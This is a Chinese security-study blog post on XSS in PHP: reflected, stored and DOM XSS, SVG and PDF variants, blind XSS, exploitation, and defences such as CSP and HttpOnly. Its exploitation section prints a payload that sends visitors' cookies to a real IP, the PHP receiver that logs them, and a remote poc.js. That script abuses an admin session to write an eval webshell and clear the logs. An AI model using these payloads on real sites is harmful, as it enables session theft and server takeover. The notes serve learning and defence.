网安学习第22天 PHP安全——XSS跨站
声明:本人学习是跟着小迪安全学的,所以笔记可能有重复部分攻击者把恶意 JavaScript 代码插入到网页里,让其他用户的浏览器执行这段代码。它攻击的不是服务器本身,而是。接受输入数据,输出显示数据后解析执行。
声明:本人学习是跟着小迪安全学的,所以笔记可能有重复部分
XSS 漏洞,全称 Cross-Site Scripting,跨站脚本攻击。
本质一句话:攻击者把恶意 JavaScript 代码插入到网页里,让其他用户的浏览器执行这段代码。
它攻击的不是服务器本身,而是访问这个网页的用户浏览器。
漏洞原理:接受输入数据,输出显示数据后解析执行
一、基础的XSS攻击
1、反射性XSS
恶意代码在 URL 参数里,服务器接收后直接返回到页面。
常见情况是攻击者通过构造一个恶意链接的形式,诱导用户传播和打开,
由于链接内所携带的参数会回显于页面中或作为页面的处理数据源,最终造成XSS攻击
例如页面逻例如页面逻辑类似:
echo $_GET['name'];
访问:
http://example.com/index.php?name=<script>alert(1)</script>
特点:
需要诱导用户点击恶意链接。
2、存储型XSS
恶意代码被保存进数据库,其他用户访问页面时自动触发。
存储型XSS是持久化的XSS攻击方式,将恶意代码存储于服务器端,
当其他用户再次访问页面时触发,造成XSS攻击。
典型场景:
- 评论区
- 留言板
- 用户昵称
- 文章标题
- 个人简介

例如攻击者在评论区提交:
<script>alert(1)</script>
网站把它存进数据库。之后任何人打开评论区,脚本都会执行。
特点:
危害最大,因为不需要每次诱导点击,只要访问页面就中招。
3、DOM型XSS
漏洞发生在前端 JavaScript 代码里,服务器可能完全没有参与。
通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。

例如:
document.body.innerHTML = location.hash;
如果访问:
http://example.com/#<script>alert(1)</script>
前端 JS 把 URL 片段直接写入页面,就可能触发。
特点:
问题出在前端 DOM 操作,而不是后端输出。
二、XSS跨站拓展型
1、SVG跨站
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
一个正常的SVG文件的内容代码可能是这个样子的
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
</svg>
但是如果我们在其中插入恶意代码
用户在访问时就可能会发生跨站
2、PDF跨站
pdf跨站可以分为以下几个步骤
(1)、创建PDF,加入动作JS

(2)、通过文件上传获取直链
(3)、直链地址访问后被触发

三 、漏洞利用
参考:XSS漏洞的原理&利用&防御 - shinianyunyan - 博客园
1、盲打
你把 XSS Payload 提交到某个输入点,但当前页面不会立刻触发;等后台管理员、客服系统、日志系统、工单系统查看这条数据时,Payload 才执行,并向你的服务器发起回连。
为什么要叫盲打呢?
普通 XSS:
我输入 payload
页面马上弹窗
我知道成功了
盲打XSS:
我输入 payload
当前页面没反应
后台管理员打开后才触发
我的服务器收到请求
我才知道成功了
2、cookie盗取
参考:web漏洞利用---XSS注入攻击 - FreeBuf网络安全行业门户
例如:
在一个文章管理系统的留言板,存在存储型XSS注入漏洞,当管理员打开留言板信息查看的时候,触发其中的XSS代码,攻击者获取管理员cookie信息,可以用来做固定session会话攻击登陆后台。
3、凭据盗取
条件:无防护Cookie凭据获取
利用:XSS平台或手写接受代码
触发代码:
<script>var url='http://47.94.236.117/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>
接受代码:
<?php
$url=$_GET['u'];
$cookie=$_GET['c'];
$fp = fopen('cookie.txt',"a");
fwrite($fp,$url."|".$cookie."\n");
fclose($fp);
?>
4、数据提交
条件:熟悉后台业务功能数据包,利用JS写一个模拟提交
利用:凭据获取不到或有防护无法利用凭据进入时执行其他
其中XSS脚本是:
<script src="http://xx.xxx.xxx/poc.js"></script>
poc.js文件大致为:
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
攻击链:
XSS 触发
↓
加载远程 poc.js
↓
利用管理员登录态请求后台接口
↓
创建恶意任务
↓
任务内容写入 PHP 后门
↓
执行任务
↓
清理日志
↓
攻击者获得后续控制入口
5、网络钓鱼
(1)、部署可访问的钓鱼页面并修改
(2)、植入XSS代码等待受害者触发
(3)、将后门及正常文件捆绑打包免杀
参考:https://github.com/r00tSe7en/Fake-flash.cn
四 、漏洞防御与绕过
1、CSP(Content Security Policy,内容安全策略)
是一种浏览器安全机制,用来限制网页能加载和执行哪些资源,尤其是限制 JavaScript 的来源和执行方式。它常用于降低 XSS 的危害。
直白说:CSP 就是服务器告诉浏览器:“这个页面只能执行我允许的脚本,其他乱七八糟的脚本不要执行。”
内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。
禁止加载外域代码,防止复杂的攻击逻辑。
禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
合理使用上报可以及时发现XSS,利于尽快修复问题。
2、HttpOnly
HttpOnly 是 Cookie 的一个安全属性,主要作用是:
禁止 JavaScript 读取这个 Cookie。
也就是说,如果服务端设置了:
Set-Cookie: sessionid=abc123; HttpOnly
那么前端 JavaScript 不能通过下面这种方式拿到它:
document.cookie
绕过思路:不获取Cookie采用方式(钓鱼,浏览器攻击框架等)
3、 XSS Filter
检查用户输入的数据中是否包含特殊字符, 如<、>、’、”,进行实体化等。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)